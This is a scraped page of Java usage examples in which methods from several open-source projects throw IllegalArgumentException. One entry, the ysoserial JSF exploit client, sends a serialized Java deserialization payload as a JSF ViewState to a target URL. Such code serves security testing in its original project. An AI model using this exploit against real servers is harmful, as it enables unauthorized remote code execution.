List of usage examples for java.lang IllegalArgumentException IllegalArgumentException
public IllegalArgumentException(Throwable cause)
From source file:com.kolich.aws.S3Test.java
public static void main(String[] args) { final String key = System.getProperty(AWS_ACCESS_KEY_PROPERTY); final String secret = System.getProperty(AWS_SECRET_PROPERTY); if (key == null || secret == null) { throw new IllegalArgumentException("You are missing the " + "-Daws.key and -Daws.secret required VM " + "properties on your command line."); }//from w w w.j a v a 2 s. co m final HttpClient client = KolichHttpClientFactory.getNewInstanceNoProxySelector(); final S3Client s3 = new KolichS3Client(client, key, secret); final Option<HttpFailure> bucket = s3.createBucket("foobar.kolich.local"); if (bucket.isNone()) { System.out.println("created successfully."); } else { System.err.println(bucket.get().getStatusCode()); } final Either<HttpFailure, List<Bucket>> list = s3.listBuckets(); if (list.success()) { for (final Bucket b : list.right()) { System.out.println("Bucket: " + b.getName()); } } else { System.err.println("Failed to list buckets!"); } final Either<HttpFailure, PutObjectResult> put = s3.putObject("foobar.kolich.local", getBytesUtf8("zomg it works!"), "test", "foo", "bar/kewl", "test.txt"); if (put.success()) { System.out.println("Put object worked!!"); } final boolean exists = s3.objectExists("foobar.kolich.local", "test", "foo", "bar/kewl", "test.txt"); if (exists) { System.out.println("Object confirmed exists!"); } final boolean exists2 = s3.objectExists("foobar.kolich.local", "bogus"); if (!exists2) { System.out.println("Bogus object confirmed missing."); } final Either<HttpFailure, ObjectListing> objList = s3.listObjects("foobar.kolich.local"); if (objList.success()) { for (final S3ObjectSummary o : objList.right().getObjectSummaries()) { System.out.println("Object: " + o.getKey()); } } final Option<HttpFailure> delete = s3.deleteObject("foobar.kolich.local", "test", "foo", "bar/kewl", "test.txt"); if (delete.isNone()) { System.out.println("Delete object worked too!"); } else { System.out.println("Delete object failed: " + delete.get().getStatusCode()); } /* try { final File f = new File("/home/mkolich/Desktop/foobar.pdf"); final Either<HttpFailure,PutObjectResult> putLarge = s3.putObject("foobar.kolich.local", ContentType.APPLICATION_OCTET_STREAM, new FileInputStream(f), f.length(), f.getName()); if(putLarge.success()) { System.out.println("Large upload worked!"); } } catch (Exception e) { System.err.println("Large upload failed."); } */ final Option<HttpFailure> deleteBucket = s3.deleteBucket("foobar.kolich.local"); if (deleteBucket.isNone()) { System.out.println("deleted bucket!"); } else { System.err.println("Failed to delete bucket: " + deleteBucket.get().getStatusCode()); } }
From source file:org.atomserver.core.dbstore.utils.DBPurger.java
public static void main(String[] args) { if (args.length < 1 || args.length > 2) { throw new IllegalArgumentException("args.length < 1 || args.length > 2"); }//from w w w. ja v a 2 s.com String workspace = args[0]; String collection = null; if (args.length == 2) { collection = args[1]; } if (log.isDebugEnabled()) log.debug("workspace= " + workspace + " collection= " + collection); try { getInstance().purge(workspace, collection); } catch (Exception ee) { System.out.println("Exception = " + ee.getClass().getName() + " message= " + ee.getMessage()); ee.printStackTrace(); System.out.println("Could NOT purge " + workspace + " " + collection); System.exit(123); } }
From source file:net.anthonypoon.ngram.removespecial.Main.java
public static void main(String args[]) throws Exception { Options options = new Options(); options.addOption("a", "action", true, "Action"); options.addOption("i", "input", true, "input"); options.addOption("o", "output", true, "output"); options.addOption("c", "compressed", false, "is lzo zipped"); CommandLineParser parser = new GnuParser(); CommandLine cmd = parser.parse(options, args); Configuration conf = new Configuration(); Job job = Job.getInstance(conf);//from ww w. j a v a2 s. com if (cmd.hasOption("compressed")) { job.setInputFormatClass(SequenceFileAsTextInputFormat.class); } job.setJarByClass(Main.class); //job.setInputFormatClass(SequenceFileAsTextInputFormat.class); job.setOutputKeyClass(Text.class); job.setOutputValueClass(Text.class); switch (cmd.getOptionValue("action")) { case "list": job.setMapperClass(ListMapper.class); //job.setNumReduceTasks(0); job.setReducerClass(ListReducer.class); break; case "remove": job.setMapperClass(RemoveMapper.class); job.setReducerClass(RemoveReducer.class); break; default: throw new IllegalArgumentException("Missing action"); } String timestamp = new SimpleDateFormat("yyyy_MM_dd_HH_mm_ss").format(new Date()); FileInputFormat.setInputPaths(job, new Path(cmd.getOptionValue("input"))); FileOutputFormat.setOutputPath(job, new Path(cmd.getOptionValue("output") + "/" + timestamp)); System.exit(job.waitForCompletion(true) ? 0 : 1); }
From source file:fr.jamgotchian.tuplegen.core.Main.java
public static void main(String[] args) { CommandLineParser parser = new PosixParser(); try {//from w w w . j a va 2 s . c o m CommandLine line = parser.parse(OPTIONS, args); if (line.hasOption("h") || !line.hasOption("c") || !line.hasOption("d")) { usage(); } File genSrcDir = new File(line.getOptionValue("d")); if (!genSrcDir.exists()) { throw new IllegalArgumentException(genSrcDir + " does not exit"); } if (!genSrcDir.isDirectory()) { throw new IllegalArgumentException(genSrcDir + " should be a directory"); } File cfgFile = new File(line.getOptionValue("c")); if (!cfgFile.exists()) { throw new IllegalArgumentException(cfgFile + " does not exist"); } TupleGen generator = new TupleGen(); generator.generate(cfgFile, genSrcDir, false, LOGGER); } catch (Throwable t) { t.printStackTrace(); } }
From source file:jenkins.security.security218.ysoserial.exploit.JSF.java
public static void main(String[] args) { if (args.length < 3) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>"); System.exit(-1);/*from w w w . ja v a 2s .co m*/ } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); try { URL u = new URL(args[0]); URLConnection c = u.openConnection(); if (!(c instanceof HttpURLConnection)) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch (Exception e) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
From source file:ClassForName.java
public static void main(String[] av) { Class c = null;/*from w w w.ja v a 2 s .c om*/ Object o = null; try { // Load the class, return a Class for it c = Class.forName("java.awt.Frame"); // Construct an object, as if new Type() o = c.newInstance(); } catch (Exception e) { System.err.println("That didn't work. " + " Try something else" + e); } if (o != null && o instanceof Frame) { Frame f = (Frame) o; f.setTitle("Testing"); f.setVisible(true); } else throw new IllegalArgumentException("Huh? What gives?"); }
From source file:Server.java
/** * A main() method for running the server as a standalone program. The * command-line arguments to the program should be pairs of servicenames and * port numbers. For each pair, the program will dynamically load the named * Service class, instantiate it, and tell the server to provide that * Service on the specified port. The special -control argument should be * followed by a password and port, and will start special server control * service running on the specified port, protected by the specified * password./*w w w .j av a 2s . co m*/ */ public static void main(String[] args) { try { if (args.length < 2) // Check number of arguments throw new IllegalArgumentException("Must specify a service"); // Create a Server object that uses standard out as its log and // has a limit of ten concurrent connections at once. Server s = new Server(System.out, 10); // Parse the argument list int i = 0; while (i < args.length) { if (args[i].equals("-control")) { // Handle the -control arg i++; String password = args[i++]; int port = Integer.parseInt(args[i++]); // add control service s.addService(new Control(s, password), port); } else { // Otherwise start a named service on the specified port. // Dynamically load and instantiate a Service class String serviceName = args[i++]; Class serviceClass = Class.forName(serviceName); Service service = (Service) serviceClass.newInstance(); int port = Integer.parseInt(args[i++]); s.addService(service, port); } } } catch (Exception e) { // Display a message if anything goes wrong System.err.println("Server: " + e); System.err.println( "Usage: java Server " + "[-control <password> <port>] " + "[<servicename> <port> ... ]"); System.exit(1); } }
From source file:be.dnsbelgium.rdap.client.RDAPCLI.java
public static void main(String[] args) { LOGGER.debug("Create the command line parser"); CommandLineParser parser = new GnuParser(); LOGGER.debug("Create the options"); Options options = new RDAPOptions(Locale.ENGLISH); try {//from w ww. j a va 2s .c o m LOGGER.debug("Parse the command line arguments"); CommandLine line = parser.parse(options, args); if (line.hasOption("help")) { printHelp(options); return; } if (line.getArgs().length == 0) { throw new IllegalArgumentException("You must provide a query"); } String query = line.getArgs()[0]; Type type = (line.getArgs().length == 2) ? Type.valueOf(line.getArgs()[1].toUpperCase()) : guessQueryType(query); LOGGER.debug("Query: {}, Type: {}", query, type); try { SSLContextBuilder sslContextBuilder = SSLContexts.custom(); if (line.hasOption(RDAPOptions.TRUSTSTORE)) { sslContextBuilder.loadTrustMaterial( RDAPClient.getKeyStoreFromFile(new File(line.getOptionValue(RDAPOptions.TRUSTSTORE)), line.getOptionValue(RDAPOptions.TRUSTSTORE_TYPE, RDAPOptions.DEFAULT_STORETYPE), line.getOptionValue(RDAPOptions.TRUSTSTORE_PASS, RDAPOptions.DEFAULT_PASS))); } if (line.hasOption(RDAPOptions.KEYSTORE)) { sslContextBuilder.loadKeyMaterial( RDAPClient.getKeyStoreFromFile(new File(line.getOptionValue(RDAPOptions.KEYSTORE)), line.getOptionValue(RDAPOptions.KEYSTORE_TYPE, RDAPOptions.DEFAULT_STORETYPE), line.getOptionValue(RDAPOptions.KEYSTORE_PASS, RDAPOptions.DEFAULT_PASS)), line.getOptionValue(RDAPOptions.KEYSTORE_PASS, RDAPOptions.DEFAULT_PASS).toCharArray()); } SSLContext sslContext = sslContextBuilder.build(); final String url = line.getOptionValue(RDAPOptions.URL); final HttpHost host = Utils.httpHost(url); HashSet<Header> headers = new HashSet<Header>(); headers.add(new BasicHeader("Accept-Language", line.getOptionValue(RDAPOptions.LANG, Locale.getDefault().toString()))); HttpClientBuilder httpClientBuilder = HttpClients.custom().setDefaultHeaders(headers) .setSSLSocketFactory(new SSLConnectionSocketFactory(sslContext, (line.hasOption(RDAPOptions.INSECURE) ? new AllowAllHostnameVerifier() : new BrowserCompatHostnameVerifier()))); if (line.hasOption(RDAPOptions.USERNAME) && line.hasOption(RDAPOptions.PASSWORD)) { BasicCredentialsProvider credentialsProvider = new BasicCredentialsProvider(); credentialsProvider.setCredentials(new AuthScope(host.getHostName(), host.getPort()), new UsernamePasswordCredentials(line.getOptionValue(RDAPOptions.USERNAME), line.getOptionValue(RDAPOptions.PASSWORD))); httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider); } RDAPClient rdapClient = new RDAPClient(httpClientBuilder.build(), url); ObjectMapper mapper = new ObjectMapper(); JsonNode json = null; switch (type) { case DOMAIN: json = rdapClient.getDomainAsJson(query); break; case ENTITY: json = rdapClient.getEntityAsJson(query); break; case AUTNUM: json = rdapClient.getAutNum(query); break; case IP: json = rdapClient.getIp(query); break; case NAMESERVER: json = rdapClient.getNameserver(query); break; } PrintWriter out = new PrintWriter(System.out, true); if (line.hasOption(RDAPOptions.RAW)) { mapper.writer().writeValue(out, json); } else if (line.hasOption(RDAPOptions.PRETTY)) { mapper.writer(new DefaultPrettyPrinter()).writeValue(out, json); } else if (line.hasOption(RDAPOptions.YAML)) { DumperOptions dumperOptions = new DumperOptions(); dumperOptions.setPrettyFlow(true); dumperOptions.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK); dumperOptions.setSplitLines(true); Yaml yaml = new Yaml(dumperOptions); Map data = mapper.convertValue(json, Map.class); yaml.dump(data, out); } else { mapper.writer(new MinimalPrettyPrinter()).writeValue(out, json); } out.flush(); } catch (Exception e) { LOGGER.error(e.getMessage(), e); System.exit(-1); } } catch (org.apache.commons.cli.ParseException e) { printHelp(options); System.exit(-1); } }
From source file:com.hurence.logisland.runner.StreamProcessingRunner.java
/** * main entry point//from w w w .j a va 2 s . c o m * * @param args */ public static void main(String[] args) { logger.info("starting StreamProcessingRunner"); ////////////////////////////////////////// // Commande lien management Parser parser = new GnuParser(); Options options = new Options(); String helpMsg = "Print this message."; Option help = new Option("help", helpMsg); options.addOption(help); OptionBuilder.withArgName("conf"); OptionBuilder.withLongOpt("config-file"); OptionBuilder.isRequired(); OptionBuilder.hasArg(); OptionBuilder.withDescription("config file path"); Option conf = OptionBuilder.create("conf"); options.addOption(conf); Optional<EngineContext> engineInstance = Optional.empty(); try { System.out.println(BannerLoader.loadBanner()); // parse the command line arguments CommandLine line = parser.parse(options, args); String configFile = line.getOptionValue("conf"); // load the YAML config LogislandConfiguration sessionConf = ConfigReader.loadConfig(configFile); // instantiate engine and all the processor from the config engineInstance = ComponentFactory.getEngineContext(sessionConf.getEngine()); if (!engineInstance.isPresent()) { throw new IllegalArgumentException("engineInstance could not be instantiated"); } if (!engineInstance.get().isValid()) { throw new IllegalArgumentException("engineInstance is not valid with input configuration !"); } logger.info("starting Logisland session version {}", sessionConf.getVersion()); logger.info(sessionConf.getDocumentation()); } catch (Exception e) { logger.error("unable to launch runner", e); System.exit(-1); } String engineName = engineInstance.get().getEngine().getIdentifier(); try { // start the engine EngineContext engineContext = engineInstance.get(); logger.info("start engine {}", engineName); engineInstance.get().getEngine().start(engineContext); logger.info("awaitTermination for engine {}", engineName); engineContext.getEngine().awaitTermination(engineContext); System.exit(0); } catch (Exception e) { logger.error("something went bad while running the job {} : {}", engineName, e); System.exit(-1); } }
From source file:com.pinterest.secor.main.ZookeeperClientMain.java
public static void main(String[] args) { try {/*from w w w. j a va 2 s . co m*/ CommandLine commandLine = parseArgs(args); String command = commandLine.getOptionValue("command"); if (!command.equals("delete_committed_offsets")) { throw new IllegalArgumentException("command has to be one of \"delete_committed_offsets\""); } SecorConfig config = SecorConfig.load(); ZookeeperConnector zookeeperConnector = new ZookeeperConnector(config); String topic = commandLine.getOptionValue("topic"); if (commandLine.hasOption("partition")) { int partition = ((Number) commandLine.getParsedOptionValue("partition")).intValue(); TopicPartition topicPartition = new TopicPartition(topic, partition); zookeeperConnector.deleteCommittedOffsetPartitionCount(topicPartition); } else { zookeeperConnector.deleteCommittedOffsetTopicCount(topic); } } catch (Throwable t) { LOG.error("Zookeeper client failed", t); System.exit(1); } }